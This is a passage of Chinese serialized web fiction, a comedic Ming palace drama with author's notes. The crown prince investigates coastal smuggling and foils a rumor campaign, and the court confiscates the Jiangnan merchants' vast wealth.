但却想得明白。知晓自己敢在紫禁城称王称霸的最根本原因,在于朱见深这个亲儿子。 只要朱见深一天是皇帝,那么她便在紫禁城无敌。要是朱见深禅位给了朱佑棱,那她还怎么耀武扬威。 耀武扬威的人,就换成了万贞儿。 这是周太后万万不能接受的。 周太后当即气呼呼的说。“凭什么你禅位后, 万氏能是太上皇后, 而哀家是皇太后。” 万贞儿:“” 朱见深倒吸一口凉气,不敢置信的看着周太后。 “母后,朕到底哪里做得不对, 母后要盼着朕去死。” 为什么周太后能当皇太后,那么因为朱祁镇死了, 周太后母凭子贵,朱见深成了皇帝,自然周太后就是太后。 注意一点,朱祁镇死了! 皇帝死了, 太子上位成新的皇帝,那是继位。而禅位只会发生在皇帝没有死,儿子大了,自身又不想继续当皇帝的情况下,让位给儿子,叫做禅位 禅位和继位的差别就是,活着让位以及死了让位。 不怪朱见深觉得周太后是盼着他去死。 主要没文化,说的话,就特别容易带有歧义。 周太后被哽得心口难受。 “皇帝,你诽谤哀家。” 周太后企图用蛮横的态度蒙混过关,这时候万贞儿坐不住了,毕竟周太后的样儿,看在万贞儿的眼中,是在欺负她的深郎,当即就维护起来。 “太后娘娘,你别欺负深郎好说话,就在那儿咄咄逼人。有本事去鹤归那儿说,看鹤归是怼你一句,还是两句。” 周太后顿时气胀如河豚。 “皇帝不孝,太子也不孝。” “哎!你老别说这样的话了,真不孝的话,才不会来慈安宫听你发神经。深郎” 万贞儿转而对朱见深‘抱怨’道。“深郎,我在这儿呢,太后娘娘不会有什么事儿的。” 朱见深这时候深以为然的点头。 就他亲娘的德性,怎么可能受到伤害! 拜托!真正被伤害的,一直是他好不好!得亏他生性坚强,不然的话,准偷偷躲起来哭死。 “哎!母后,你好自为之。” 这样说着,朱见深果断调头,欢快的跑了。 是的,欢快。甚至还看到了朱见深蹦蹦跳跳了一下。 周太后:“” “好好的,你干嘛作妖呢!”万贞儿再次给她倒了一杯茶水。“看我,都被莫名其妙的人冤枉成那样了,不也是很淡定嘛。” “你是你,哀家是哀家!” “你看你看,你又拧巴起来。”万贞儿对周太后是生气都懒得生。主要没必要啊,这样又作又拧巴,还喜欢见天唱花鼓戏的妖人,你跟她计较,纯粹丢份儿。 “对了,这几年太后娘娘你在闽南那边如何?听说那边很热,又容易晒黑人。你这回回来,倒是没看出哪里晒黑了。” 听万贞儿这么说,周太后瞬间就转变神色,变得得意洋洋起来。“哀家啊,防晒用得好。你想知道?行,哀家做一回儿好事,告诉你秘方。” 不提周太后和万贞儿这边,气氛又和乐了起来,只说朝堂之上 朝堂之上这几天都在吵闹。 还是因为西北用兵,以及西南平叛,和是不是该持续进行的清理佛产的事情有关。 哦,还有几年就得整顿一回的盐政,都是争吵的核心内容。 大明这时候的六部,运行方面还是很给力的,不会出现阳奉阴违的情况。 就是吧,户部尚书不管谁担任,都一个调调,那就是哭穷。今天哭明天会,反正没有不哭穷的时候。 朱见深,哦,不,朱见深表示自己受了来自生母的伤害,需要带着心爱的万姐姐前往别宫居住,就把朱佑棱泽爱情结晶留在京师监国。 朱佑棱能说什么,自从朱见深想要禅位的心,被钦天监以没有吉日为由打断了,朱见深就开始隔三差五的闹幺蛾子。 有一说一,真不愧为周太后的亲生儿子,心情不顺就闹幺蛾子的德性,真的一模一样。 什么话都不能说来反对的朱佑棱认命的留下监国,然后就隔三差五的看六部官员,特别是户部官员们在自己面前,表演花式哭穷。 而今天,户部官员们,也在表演花式哭穷。 朱佑棱挺认真的听着,并没有时不时就插言掺和。只是等户部官员哭诉完了后,才说自己昨日收到一封来自南京守备太监的密奏。 文武百官:“???” ——不是,太子殿下你认真的,这么重要的事情,确定要等他们口水都快‘喷’干的时候说? “密奏说,南直隶常州、镇江等府,近一两年来,私下海外贸易猖獗。”朱佑棱表情严肃,几乎一字一顿的说。 “沿海豪商们,与地方官吏甚至卫所军官勾结,打造了违制大船。那些违制大船上装载生丝、瓷器、茶叶等物。为了逃避朝廷市舶司抽分,私自出海,前往琉球倭国乃至南洋诸国贸易,以便获取暴利。” “根据南京守备太监所说,除了走私生丝、瓷器、茶叶等物外,还有人暗中走私硝石、铁器等违禁物资。孤收到此密奏后,几乎夜不能昧,到现在说与诸位听,孤都是紧张万分,不知道该说些什么。 “所以诸位大人,你们说,孤该怎么处理此事?” 文武大臣们面面相觑,最后还是户部尚书出列说。“太子殿下,此事牵涉甚广,利益网络盘根错节,怕得仔细调查。” “海禁乃太|祖皇帝定下的国策,”朱佑棱开口道。“虽然在实际执行中,时有松紧,但如此大规模有组织的违禁私贸,无疑是对朝廷权威的严重挑战,孤也得,甚至危及海防。别忘了孤先前所说,涉及军械走私。” 军械走私,可是大罪! 虽说后世某某国,是靠军械走私发家的。但是,正因为如此,朱佑棱才严肃的让文武大臣想办法处理。 “此事必须严查!” 朱佑棱再次斩钉截铁的道。“海禁事关祖制国本,走私军械更是形同资敌。东南海疆,岂容此等蠹虫胡作非为!” “陛下所言极是。”兵部尚书出列道。“然而东南情势复杂,豪商与地方势力勾结甚深,且远在数千里外,朝廷鞭长莫及。若派寻常官员前往,恐难查清实情,反受其蒙蔽,甚至为其所制。” 朱佑棱安静地听着,许久才道:“孤以为,东南私贸之事,与当年山西河工贪腐,颇有相似之处。皆是地方势力与不肖官吏勾结,侵夺国利危害社稷。不同之处,不过一在内陆,一在沿海;一害在河防民生,一害在海防国本。” 朱佑棱顿了顿,问:“诸位大人有何想法?” 没有人应答,朱佑棱料到这样的结果,没失落就是有些失望。 “照你们的行为来看,是不是想让孤再次亲至南直隶,彻查此事。” “不可!” 礼部官员几乎是脱口而出,眼中闪过一丝担忧。 他道:“回禀太子殿下,好让太子殿下知晓,东南局势不明,豪商皆亡命之辈,且与海上盗寇或多或少的有所牵连,臣觉得,远比当山西凶险。太子殿下年纪尚轻,乃大明储君,岂可再涉险地?” 吏部尚书也道:“太子殿下,那老货所言有理。东南之事,可派得力大臣前往,允他尚方宝剑,先斩后奏。” 朱佑棱不发一语的挑眉,果断开口问。“那照尔等的意思,该派谁前往?” 其实大明委派钦差,都有一种毛病,那就是认命大臣为钦差的同时,还会让一名太监跟着。 在朱佑棱询问派遣谁合适的时候,经过短暂的讨论,最终决定派遣刑部左侍郎何乔新,以及东厂提督太监尚铭为辅,锦衣卫指挥同知陆炳率100锦衣卫护卫。 “务必要查明实情,严惩首恶,整肃海疆!但切记”朱佑棱开口道。“安全第一,若有不对,立即撤回,不可逞强。” “微臣领旨!定不负太子殿下所托!” 刑部左侍郎何乔新肃然下拜。 消息传开,朝野内外再次热闹非凡,不过这回朱佑棱没有打算亲自前往,因此这份热闹并没有达到夸张的程度。 不过由于这次的目的地,是远比山西更为富庶、也更为复杂的东南。 东南一直以来,都是财赋重地,也是官商勾结,势力盘根错节之地。 因此许多人的心思活络起来,有人担忧钦差大臣的安危,有人盘算着如何利用这次机会打击政敌或商业对手,更多的人则在观望,想看看钦差加东厂提督加锦衣卫的队伍,能否在东南地区大获全胜—— 作者有话说:更新o(* ̄︶ ̄*)o女帝那边今天V啦! 嘿,下个月开始就两文同时更新六千。认认真真肝一回,希望不要半途而废![狗头叼玫瑰] 第95章 第095章 南京,秦淮河畔。…… 南京, 秦淮河畔。 天未暗,秦淮河畔就开始歌舞升平。靡靡之音,绕梁三日不止。每逢画舫驶入秦淮河中,两岸便会聚集不少的人, 贩夫走卒不外如是。 而这个时候, 就在距离秦淮河畔的不远处, 某个隐秘园林。 几位衣着华贵、气质各异的中年人, 正在水榭中密议。 他们中有的身着儒衫, 似是致仕官员。有的锦袍玉带, 显然是巨商。还有一人, 虽穿着常服, 但举止间带着行伍之气。 “消息确切?那位真要来江南?” 一个面容富态、十指戴满宝石戒指的商人沉声问道。他是常州巨商, 沈万三的后人沈荣,海贸生意做得极大。 “千真万确。”那位似致仕官员的老者捻须道。 他是前户部郎中,致仕后回到南京后,成为几家海商背后的靠山。 “朝廷明旨已下,不日即将启程。此番来势汹汹, 不仅带了刑部何阎王(何乔新外号), 连东厂尚铭那条老阉狗也跟来了,护卫更是陆炳那杀神统领。看来,是要动真格的了。” “怕什么?” 那带有行伍之气的中年人冷哼一声, 他是镇江卫的一名指挥佥事,暗中参与护运私货。 “江南不是山西那等穷乡僻壤。咱们在地方在南京, 甚至在京城都有关系。太子毕竟年幼,就算有尚方宝剑,也强龙不压地头蛇。大不了,咱们暂时收敛些, 把首尾弄干净,让他查无可查。等太子走了,一切照旧。” 沈荣却摇头,面色凝重:“李佥事,不可轻敌。这位太子爷,在山西的手段你我都听说过。他可不只是会杀人立威,查账分化抓人软肋,可是样样精通。且他身份特殊,若真铁了心要查,很多关系未必敢硬保。况且,东厂番子无孔不入,防不胜防。” “那沈公的意思?”前户部郎中问。 沈荣眼中闪过一抹精光:“两手准备。一是立刻清理所有明面上的账目、船契、往来书信,该烧的烧,该藏的藏。特别是涉及军械、硝石等违禁物的,一丝痕迹都不能留!相关经手人,暂时送出避风头。二是备好厚礼。太子虽不好钱财,但他身边人呢。何乔新刚直,尚铭贪婪,陆炳或许也可寻其弱点。即便不能收买,也可试探其态度,摸清其底线。三是,联络京中故旧,上些奏折,说说太子年幼,不宜轻涉险地,或者说明东南海贸亦有疏通物产、利惠小民之处,不宜一概禁绝,制造些舆论。” 他顿了顿,压低声音:“最要紧的是,务必让下面的人管住嘴!谁敢乱说话,或被抓了把柄,其家眷……哼。”未尽之言,充满寒意。 几人点头,各自分头去准备。平静的江南水乡之下,因太子即将南巡的消息,已暗流汹涌。但有个前提,太子这回是真的再次以钦差的身份南巡。 朱佑棱监国,倒是想南巡,给倒灶的玩意儿一些‘杀生’的震撼。只派了刑部官员何乔新,以及东厂都督尚铭。 何乔新的确正直,尚铭的确贪婪喜好钱财。但是,尚铭的贪婪是有原则的,他可讨厌一边嫌弃鄙夷他贪财,一边又要拿钱贿赂他的人。 如果有人敢这么做,那么尚铭就会发扬自己身为阉人的狡诈和黑心肝,既要收受贿赂,也要将贿赂他的人,一并儿给弄栽秧。 这便是尚铭黑心肝,不要脸阉狗的由来。 尚铭挺自豪的,即便阉狗,那也是皇帝太子的阉狗,旁人凭什么骂他。反正要想打收买尚铭主意的家伙们,注定要失望。并且还会被尚铭这家伙,带到阴沟里去。 这样的结果,其实朱佑棱早就预料到了。倒不是朱佑棱有未卜先知的能耐,而是尚铭出发后不久,就把南京方面官员商贾的反应,都飞鸽传信汇报给了朱佑棱。 朱佑棱接到消息后,那叫一个乐。怎么说呢,涉及巨额利益,关系网错综复杂的较量,按理说该反复斟酌,不可轻易的下结论出办法。可结果呢,连具体情报都没有打探清楚,就轻易的下结论出手段。 该说不说,只针对尚铭这点,就把尚铭这位东厂都督看清了。尚铭真要那么好对付,就不会在汪直逐渐备受重用,有取代的情况下依然稳坐东厂都督的位置。 还是那句话,南京的官员商贾们注定没好下场。而且是越准备拿金银财宝收买尚铭,下场越凄惨。 预料到这样的结果,朱佑棱又怎么不喜闻乐见呢! 很快几日过去,何乔新、尚铭、陆炳三人抵达南京之时,令人感到无语的流言在京城流传。 如何离谱呢! 就连随朱见深出宫玩耍的万贞儿都得知了,还匆匆忙的从行宫回到紫禁城。 朱佑棱:“” “儿臣参见母妃。” 朱佑棱行礼。 “快起来,到娘身边来。” 万贞儿招手,仔细打量着儿子,确认他完整无恙,这才略松了口气,随即叹息道,“鹤归,辛苦你了。” 朱佑棱摇头,挺认真的回话。“不辛苦,就是有时候挺啼笑皆非的。 “的确挺让人啼笑皆非的。”万贞儿轻笑了起来,说起自己所听到的谣言。 “民间皆传,太子此番南巡是假,实则是奉了密旨,要去查抄几家在江南根基深厚,与朝中多位勋贵重臣乃至藩王都有联姻或利益往来的百年世家。还说,这是有人欲借你之手,铲除异己,为将来铺路。甚至影射你行事酷烈,有伤国本!” 万贞儿口中的‘有人’自然指的是她自己。挺讽刺的,反正万贞儿听到这个流言,是很生气的。倒不是生气自己又被‘污蔑了,而是 特么的污蔑她不够,还要污蔑她的儿子! 而朱佑棱听了也很生气。主要这谣言,挺诛心的!不仅冤枉他不监国,而是跑去南巡,还将尚铭他们稽查海防私贸的目的,歪曲成政治清洗。最为过分的是,还将他和万贞儿一块儿,推到整个江南乃至朝中部分既得利益集团的对立面。 朱佑棱倒不是怕这个,而是觉得,现在一切还未开始,容易引发南京以及江南地方的恐慌和强烈反弹。 “此等无稽之谈,简直其心可诛。” 朱佑棱沉声道。 “为娘回来的时候,已经通知西厂以及锦衣卫好好的查。不过为娘倒猜到了是谁。” 无非是和江南盐商、海商往来密切的京中清流言官,以及…在南京有大量产业的勋贵子弟。” 万贞儿冷笑道:“他们这是狗急跳墙,想用舆论逼宫,阻止你南下!” 朱佑棱:“问题是,我一开始就没打算再次担任钦差啊!” 说起这个,万贞儿也是好笑。 “让你父皇告诉你,谣言甚嚣之时,发生了什么?” 朱佑棱瞬间看向一直保持沉默,貌似心情不是很好的朱见深。 朱见深:“通政司这几日,接连收到数封来自南京,苏州等地致仕官员,以及在籍士绅的联名奏折,说什么‘太子年幼,宜在京师进学’,‘江南繁庶,骤加严查恐伤民业’,‘海贸虽有小弊,亦通有无,宜疏导不宜峻堵’的话。” 阿这! 明明该生气的,但为什么越发觉得好笑呢! 朱佑棱稳了稳,到底没稳住笑场。万贞儿跟着笑,等笑够了后,才无奈的说。 “起初你父皇并不在意,可谁曾想,就在昨日,我们在行宫收到密报,说是镇江卫附近江面,发生数起针对官船的‘水匪’袭击,虽未造成太大损失,但时间地点如此巧合为娘心头难安。” 顿了顿,万贞儿又接着说:“更有甚者,南京守备衙门报称,在城内发现疑似前朝余孽的联络暗记,虽未查实,但人心惶惶。你父皇与我忧心不已,江南之地,关系错综复杂,那些人为了阻你,什么事都干得出来” “问题是,娘亲,父皇,我一开始就没打算去啊!他们得到假情报就这样搞,是猖狂呢,还是无智的滑稽?” 万贞儿斜眼瞄他。 “鹤归觉得呢!” 容朱佑棱再笑三秒钟。 哈哈哈之后,朱佑棱才开口道。“这样的‘情报有误’,只能说运气好,如果儿子真的一意孤行,丢下监国的责任,大概就会遭遇精心策划的狙击。” 顿了顿,朱佑棱又道。“要是儿子真的南巡,娘亲和父皇请看,他们先是巧妙的利用了信息传递的时间差,谣言是在尚铭他们出京之时才猛的爆发。然后呢,江南士绅的联名上书,最后制造事端,水匪和前朝余孽疑云齐齐出现。” “要是儿子真的南巡,大概从一开始就会危险重重,不一定步入他们的陷阱之中,但绝对会举步维艰。” 是的,正如朱佑棱分析的那样,建立他再次南巡的基础上,那些个倒灶玩意儿设计出的针对手段很高超。之所以会感觉怀疑,是来自他们情报有误。 当然感到滑稽过后,朱佑棱升起的是无限杀意。朱佑棱已经决定,要给尚铭飞鸽传信,让尚铭发扬他贪财又忠心皇家的本色,将那些倒灶玩意儿的皮,都剥了—— 作者有话说:哎,今天好倒霉,早上一打开电脑,电脑黑屏,拿去维修,才发现主板烧了,维修的话大概要一周左右,又赶上快元旦,只能买个新的笔记本了。然后新笔记本我磨合好久,才用习惯一点点。o(╥﹏╥)o要支持我哟!不然哭给你们看! 第96章 第096章 朱见深挺不高兴回…… 朱见深挺不高兴回来。他在别宫待得好好的, 万贞儿也全围着他转,结果悠闲的生活,没有过几天,就TM 朱见深气死, 回来好久都闷闷不乐。 朱佑棱:“父皇你别气, 儿子也不想的, 谁让娘亲担忧儿子。都怪那些贼子太过大胆, 拿着打听来乱七八糟的消息, 就搞事儿。得重重处罚, 反正当地的菜市口每天都要打扫, 打扫之前砍一批人正好合适。” 朱见深不耐烦的挥挥手。“朕知晓。这事儿交给你处理, 朕不会多过问。鹤归你不小了, 该学会如何做事儿。” 朱佑棱:“儿子学得还不够多?” 朱见深却开始琢磨起其他事儿来。“难道真的,唔,该给你大婚了?” 朱佑棱:“???” 他猛地后退,不敢置信的看着亲爹。 “娘亲快来啊,父皇他中毒了!”朱佑棱心有余悸的喊道:“看看现在, 都开始说胡话了。” 朱见深:“” 这下子轮到朱见深无语了, 关键本来在室内小歇的万贞儿听到动静,果真过来了。 “深郎”万贞儿挺担忧的说。“要不要宣太医来瞧瞧。” 朱见深瞬间被打击到了,恨不得抱着万贞儿哭。 “贞姐, 朕只是觉得鹤归年龄大了,所以想让鹤归早点大婚而已。” “娘亲你听, 这是亲爹吗?”朱佑棱表示鄙夷。“还儿子大了。儿子还未及冠,算什么大了。” 万贞儿:“这是你父皇的错。你才多大,就说大婚的事儿了,怎么也得等你及冠之后再说。” 朱佑棱重重点头, 算是赞同万贞儿话。本来他才多大,哪怕让他十六及冠后才考虑大婚的事儿,朱佑棱都觉得自己的年龄小。何况朱见深明显是想将禅位的事儿尽快落实,才说希望他早点大婚。 坑崽的亲爹,妥妥的! 真的时不时就开始抽风!朱佑棱无语死,都暂时性的不想理会抽风的朱见深了。 “想回行宫就回。”朱佑棱开始严肃强调。“但是,父皇你不能强迫儿子做儿子不愿意的事情。父皇如果再这样,那儿子就只能不孝,让父皇单独去行宫住,将娘亲留在儿子的身边。” 怎么收拾恋爱脑呢,很简单啊,将真爱给他分开就成了。就像朱见深常常因为发癫导致朱佑棱被坑,朱佑棱的反击从来都是简单粗暴。 比如等百年后,将朱见深和万贞儿分开埋。一个埋天南一个埋地北。这样的威胁,其实算是假的,但奈何朱见深怕亲儿子反骨起来,真这么干。 每次都会受到威胁,然后眼泪汪汪的找万贞儿哭诉。而每当这个时候呢,朱佑棱就会狗粮吃得饱饱的,任由朱见深缠着万贞儿各种撒娇。反正他这个做儿子的,是他们PUA中的一环。 过了一会儿,朱见深估计撒娇够了吧,又开始正经起来。三人继续讨论事情,总之这场用时很久,中间万贞儿还去小歇片刻的会谈,还算圆满的结束。 总之这场谈话,不止朱佑棱,就连万贞儿和朱见深,都对江南局势的失控,产生了极大的忧虑。 就像之前分析的,简直就是个连环套。如果他们没有的情报没有问题的话,真的比朱佑棱那次前往山西所遭遇的那些地方官员豪强的硬抗以及刺杀,要高明得多,也阴险得多。 不直接对抗皇权,而是利用皇权对储君的关爱与对局势稳定的追求,进行迂回施压。 之后,朱见深又召见了几位内阁大臣,就这个问题,又和几位内阁大臣展开了热烈的讨论。 朱佑棱道:“让父皇和母妃忧心,是儿臣之过。只是…” 朱佑棱看向几位内阁大臣,眼中带着罕见的疑惑不解。“孤实在想不明白,他们是真傻,还是故意这么做的。还是说,他们之中有‘身在曹营心在汉’的人才,故意误导的。” 几位内阁大臣迟疑起来,主要朱佑棱的猜测,真的太过靠谱。说不得就是这个原因呢! 这时候只听朱佑棱又继续说道。“此事绝不能就此作罢。对方越这样搞,那越说明东南问题之重,隐患之大。” “父皇和诸位大臣好好想想,如果孤真的跟着一起南下,孤将面临怎样的情况。还有” 朱佑棱想想,组织好言辞又道。“ 此次他们能以谣言和事端逼停儿臣的车驾,他日若朝廷真有危难,他们又会如何?海防私贸,尤其是军械走私,关乎国本,绝不能因阻挠而放任自流。” 朱见深看着这样的儿子,心中既感欣慰,又添忧虑:“那鹤归以为,当下该如何?” “明修栈道,暗度陈仓。”朱佑棱缓缓道,“明面上,儿臣遵旨回京,南巡之事搁置,以安彼辈之心。朝廷可下诏安抚,申明太子回京乃为筹备万寿节(皇帝寿辰)等事宜,并嘉奖江南士绅关心国事,稍作怀柔。同时,严厉申饬镇江卫剿匪不力,责令南京守备加强戒备,敲山震虎。” “暗地里”朱见深压低声音,继续道:“东厂以及锦衣卫加强对东南私贸的调查,尤其是对京城散播谣言者,与江南豪商往来过密官员的监控,不仅不能停,还要加强。尚铭、陆炳此番虽未至江南,但他们手下的人,可化整为零,以各种身份潜入东南。儿臣觉得重点,还是查探那几个目标豪商的核心账目,他们有多少秘密船队,通过走私赚了多少钱财,以及他们与卫所,地方官府的勾结证据。特别是军械走私的线索,务必深挖!” 朱见深深以为然的点头。“你说的没错,是该这样。” 朱佑棱又道。“其实,孤想说,他们的手段,算是提醒了孤。” 朱见深惊讶的挑眉,忍不住挑眉询问。“提醒了你什么?” “自然是提醒了儿子,舆论之地,不可拱手让人。”朱佑棱眼中闪过一丝冷光,冷哼道。“儿子这几日会和与翰林院,詹事府六科给事中以及都察院御史的大人们,好好讨论怎么将他们干的恶心事儿,宣扬得全天下皆知。” 朱见深听着,眼中的忧色渐渐被一丝赞许取代。 朱佑棱的应对,算是有理有据,有进有退,既有维护朝廷体面的明面举措,又有继续追查的决心和策略,更难得的是,朱佑棱找翰林院等部门官员聊天的举动,代表朱佑棱开始有意识地经营自己的话语权和人才储备。 从这点来看,朱佑棱相较朱见深他来说,考虑得更加远。 “好,就依鹤归你之言。”朱见深露出一丝笑容,高兴的说“朕会与你娘亲商议。鹤归,你长大了。这你当知晓,这回虽算乌龙 ,却未必是坏事。朕觉得,这次是机会,能让鹤归你明白,江南那边的水到底有多深。还有南京,朕 朱见深突然感觉到口渴,就吃了一口茶水,才又继续说道。 “记住,为君之道,有时急进不如缓图,明攻不如暗访。你的路还长,不必争一时之长短。” 朱见深这回,算是明目张胆教朱佑棱如何为君。 挺好的,并没有想当然就坑崽! 朱佑棱赶紧躬身道:“儿臣谨记父皇教诲。” 朱见深这时看向沉思的几位内阁大臣。 “接下来尔等该做什么,不用朕特意提醒吧。” 几位内阁大臣,心领神会的齐齐拜服。“还请陛下和太子殿下放心,臣等定会办得妥妥当当。” 不提几位内阁大臣心领神会了什么。只知道这次私底下的朝会过后没几天,京城就开始传太子南巡戛然而止的消息。 有些级别不是很大,没资格参与私底下朝会的官吏一脸蒙圈,太子曾经打算南巡? 不会吧!难道记忆出了错? 很快,在大部分官员蒙圈的情况下,消息很快由京城传到了江南,特别是南京一带。 暗中策划阻挠的势力,在得知消息后,经历了短暂的错愕与庆幸,然后就开始警惕。 他们觉得太子虽然没来,但朝廷的旨意含糊,并未明确放弃调查,且申饬了镇江卫,显然余怒未消。 他们不敢大意,继续小心地隐藏着痕迹。 而这个时候,京城之中,谣言随着‘太子回京’渐渐平息,但同时东西两厂和锦衣卫的活动,变得更加频繁而隐秘。 朱佑棱表现出了以为无可奈何回京的太子该有的生气和恼火。甚至还表演了自关禁闭三日的大戏。之后结束自我禁闭三天的惩罚,朱佑棱就开始在更多的公开场合露面,与一些声誉较好的年轻官员谈诗论文,议论时政,姿态从容,仿佛‘南巡受阻之事’从未发生。 并且不止朱佑棱,疼爱儿子的万贞儿也表演了一番。直接运用自己那嚣张无比的气焰,连发了好几道懿旨,破口大骂镇江卫指挥佥事李彪。李彪简直懵逼,但也收敛了嚣张气焰,加紧填补军械账目的窟窿,同时对可能知晓内情的人看得更紧。 这些家伙,就像受惊的鼹鼠,觉得自己将洞口掩藏得更好,殊不知中枢朝廷来的钦差就等着呢—— 作者有话说:更新o(* ̄︶ ̄*)o 明天开始日六~ (づ ̄3 ̄)づ╭?~另外提前祝福大家元旦快乐!爱你们哟! 第97章 第097章 不提钦差们在南京一带的大…… 不提钦差们在南京一带的大肆活动, 究竟坑到了谁。反正心中有鬼的,没一个逃脱。 就这样,时间不缓不慢的流逝,在朱见深和万贞儿的共同支持下, 朱佑棱开始有选择地接手一些皇室内部事务。 例如审核宗室俸禄发放, 内承运库(皇帝私库)的部分开支以及参与讨论一些皇家园林的修缮工程 这些事务看似琐碎, 实则就是琐碎, 却能很好的锻炼朱佑棱的忍耐力, 并且能深入了解宫廷内务的运作, 了解皇室财政的概况。至于和内官监, 御用监等衙门的太监打交道 可以吩咐伺候他的宫人做, 但总归朱佑棱要继承这个帝国, 各方面都要了解。而朱佑棱呢,他其实有强迫症,做事情的话,特别是处理公务,喜欢不偏不倚, 处事公允。 哪怕对账目, 也要求账目清晰。账目做得清晰者,大肆褒奖,账目模糊不清者, 则会叫来做‘糊涂’账的人,细细询问, 并且如有铺张浪费的情况,则会细加查问,更加深了朱佑棱这位储君,是位不好糊弄的主儿。 一日, 朱佑棱查阅内承运库旧档时,偶然发现一笔数目不小的‘赏赐’支出,对象是南京某位早已致仕多年的老太监,赏赐的理由居然是,当年侍奉有功。 朱佑棱感觉逻辑有点儿不通,瞬间起了疑心,当即就吩咐汪直好好的查查。 该说不说,东厂的手段厉害,西厂也不错。汪直手段厉害,不久便回报,那老太监在南京置办有偌大宅院,其侄孙更是与沈家过从甚密,经营着数条长江沿岸的货栈。这笔赏赐,时间点恰好与沈家某次大规模扩建船队相符。 这不和尚铭他们负责查的事儿连上线了嘛。朱佑棱这下子是更加确定,江南的利益网络,触角早已伸进了宫廷深处。 朱佑棱询问过朱见深后,即刻派人知会尚铭、陆炳等人。尚铭他们接到消息后,用时不过几个月,就将一干涉事的商贾包括地方官员在内,全部洗白白。 抄家所得的银两,一车车往京城运输。朱见深、万贞儿外加朱佑棱一家三口,就跟没见过世面的傻狍子一样,都被江南一带商贾的豪富给震惊了。 “哇哦。”朱佑棱赞叹说。“果然呢,咱们皇家堵比不上江南巨商。” 朱见深:“当初先祖杀沈万三,是杀对了。” 朱佑棱这时候还在仔细看着尚铭连同一车车珠宝送回来的初步抄家清单汇总。那长长的一列列数字,让朱佑棱惊叹不已。 饶是朱佑棱两世为人,上辈子也见识过,后世所谓“富可敌国”的金融巨头,但是这一刻,也被这一车车以白银和实物计价的庞大财富给晃了眼。 而这,还只是初步清点,只涉及了常州沈家,镇江几家关联豪商,以及庇护他们的数名地方官员。至于更深的关系网,以及可能转移隐匿的资产,尚铭他们还留在江南,继续追查。 清单上,银两、黄金、制钱等自不必说,都是以万两、万贯为单位。珠宝古玩、名贵字画、珍稀木料、绫罗绸缎更是堆积如山。 而最令人咋舌的是田产、店铺、船队等不动产。仅在苏、松、常、镇四府,查没的良田就达数万顷。 沿江、沿海的码头、货栈、商铺数以百计。大小海船、江船数百艘,其中不乏可远航海外的大型福船、广船 “这沈荣,沈万三的后人”朱佑棱开口道:“现查抄家中藏银,纹银一百二十余万两,黄金三万两。城外别业下,另有密室,藏有前朝官窑瓷器,宋元书画真迹无数,估价…难以估量。” 朱佑棱停顿数秒,又接着念。“其在常州、苏州、松江等地,有当铺十七间,绸缎庄二十一家,粮行八处,盐引(虽然盐引已经改革,但旧引仍有价值)若干。海船大小四十八艘,其中两千料(约载重120吨)以上大船十二艘” “镇江卫李彪等涉案武官,除贪墨军饷,倒卖军械所得银钱外,其家中亦查抄出大量来路不明的珠宝皮货,且在其外宅发现与沈家等海商的秘密账册,记录历年‘分红’‘孝敬’,数目惊人。此外,李彪等涉案武官通过卫所权力,强占的军屯熟田、江边滩涂,亦不下千顷。” 朱见深半张着嘴,手里的茶盏早已凉透,他却浑然不觉。 其实不止他,很多人都知道江南富庶,知道海贸获利丰厚,也知道官员可能贪墨,但当这些抽象的概念,变成具体到让人头晕目眩的数字,堆积在眼前时,那种冲击力还是难以言喻的。 朱见深已经当了十几年皇帝,内承运库的积蓄,恐怕还不及沈家一窖藏银! 而这还只是一个沈家! 江南像沈家这样的豪商,还有多少? 那些看似清廉的地方官,背地里又藏着多少? “宫中那些开销用度,有时还需精打细算”万贞儿神色冷峻的道。“结果呵” “是啊,边关将士们为了几两饷银出生入死,天灾时灾民流离失所,为一口粥饭苦苦挣扎……而这些玩意儿,却在江南享受着如此穷奢极欲的生活。”朱佑棱笑得很讽刺的说。“孤不是仇富,但此时此刻,孤想称赞说,好一个富可敌国。” 朱见深也笑,在这一刻,父子俩的笑容重叠,都是杀气凛然。不怪朱见深的反应,主要他一个皇帝,国库年年空虚,每年的边饷,赈灾等等,让国库处处捉襟见肘! 结果呢,土皇帝的日子,比他这个真·大明皇帝过得还要好。最起码,朱见深的私库,都没有银子堆成山。 “深郎别气。”万贞儿安慰说。“此等蠹虫,贪得无厌,死有余辜。如今正好,其家产抄没充公,可大大缓解朝廷用度。” 顿了顿,万贞儿看向朱佑棱。“鹤归,你根据抄家清单算算,尚铭特他们初次抄家所得!” 朱佑棱瞬间严肃起来。 “根据儿子的估算,仅现银,黄金折色,便不下二百万两。田产店铺以及船队等变卖的话,所值更巨。此次河南赈灾,乃至北疆后续军费,皆有着落了!” 朱见深:“” 万贞儿无比认知的说。“着人通知尚铭,将江南贪污腐败的问题,再好好嗯,整顿一番,务必让江南吏治清明。” 意思翻译就是,缺钱,抄家! 朱见深就有点儿‘仇富’了。主要不对比不知道,一对比吓一跳。堂堂大明皇帝,都没有区区商贾富裕。就老朱家源远流长的‘小农思想’,不仇富那才奇了怪!—— 作者有话说:抱歉,今天就这么多。新年第一天感冒了,哎,我这运气! 先这样更新,明天补更! 另外(づ ̄3 ̄)づ╭?~大家开开心心的,一定不要像蠢作者这样! 第98章 第098章 朱佑棱也有‘仇富…… 朱佑棱也有‘仇富’思想, 并且比朱见深只高不低。不过现在还是朱见深在位,所以大部分的锅,还得朱见深背。 到现在很多官员都在说,朱佑棱这位太子爷, 某些方面很激进, 就是朱见深的言传身教。 “这回国库又要丰盈很多, 得好好褒奖。”朱佑棱道。“一天到晚的抄家, 也是挺累的。” 不知道是不是地方习俗, 陆炳带着的那伙锦衣卫, 每次抄家, 都会重点搜索地窖之类的建筑。 十回就有九回, 在地窖里找出好东西来。 还剩一回, 则会在地窖里找出比好东西还要高很多档次的珍品。有价无市的舶来品,甚至直接随意的摆放,都快堆成山。 甚至先秦时代的青铜器,竹简等等,都有一大堆。 朱佑棱一边看着抄家清单, 一边感叹连连。 连朱见深的私库都比不了, 何况是他的私库。不行,他也得想法儿增加私库收藏,光靠亲爹亲娘的赏赐, 什么时候才能囤上一屋子的宝藏。 朱佑棱恋恋不舍的合上抄家清单。 “抄家好抄家妙,抄家使人一夜暴富。”朱佑棱开始念叨顺口编的顺口溜, “父皇娘亲,儿子去做安排,保管让咱们都一夜暴富。” 朱佑棱果真去安排了,消息很快传达了过去, 之后尚铭和陆炳不愧是狼虎之人,东厂厂督和锦衣卫指挥使连连联合,真的将每到一处的地都给铲平了。 